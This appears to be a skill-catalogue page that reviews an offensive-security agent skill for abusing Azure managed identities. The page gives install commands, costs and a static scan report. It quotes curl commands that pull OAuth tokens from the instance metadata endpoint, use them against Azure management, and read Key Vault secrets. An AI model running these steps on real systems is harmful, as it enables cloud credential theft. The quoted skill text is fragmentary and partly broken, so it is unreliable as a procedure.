Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/azure-managed-identity-abuseWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/azure-managed-identity-abuse)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/azure-managed-identity-abuse"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/azure-managed-identity-abuse/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/azure-managed-identity-abuse"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/azure-managed-identity-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00055 | $0.01000 |
| Opus 5 | $0.00028 | $0.00500 |
| Sonnet 5 | $0.00011 | $0.00200 |
| Haiku 4.5 | $0.00006 | $0.00100 |
Grade C, and why
azure-managed-identity-abuse scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
# Concept: 1. curl -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01" Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
tools: [curl, powershell, az-cli, pacu] This is a copy
100% identical to azure-managed-identity-abuse — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 116 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Azure Managed Identity Abuse
When to Use
- When To When Workflow
Phase 1: Validating the Environment
# Concept: 1. curl -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# 2. ```
### Phase 2: Requesting Azure AD Tokens
```bash
# Concept: curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true > token.json
# curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net' -H Metadata:true > vault_token.json
# ```
### Phase 3: Abusing the Associated Privileges
```bash
# 1. curl -H "Authorization: Bearer <TOKEN>" https://management.azure.com/subscriptions?api-version=2020-01-01
# 2. CONNECT az CLI az login --identity
az keyvault secret show --name MySecret --vault-name TargetVault
Decision Point 🔀
flowchart TD
A[Compromise ] --> B[Test ]
B --> C{Does }
C -->|Yes| D[Request ]
C -->|No| E[Check D --> F[Pivot ]
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Output Format
Azure Managed Identity Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 116 lines · 55 tokens per session scan C c96751bfcf79
azure-managed-identity-abuse is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 55 tokens to every session and 1,000 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). It is 100% identical to azure-managed-identity-abuse, differing in 0 lines, and is treated as a copy.
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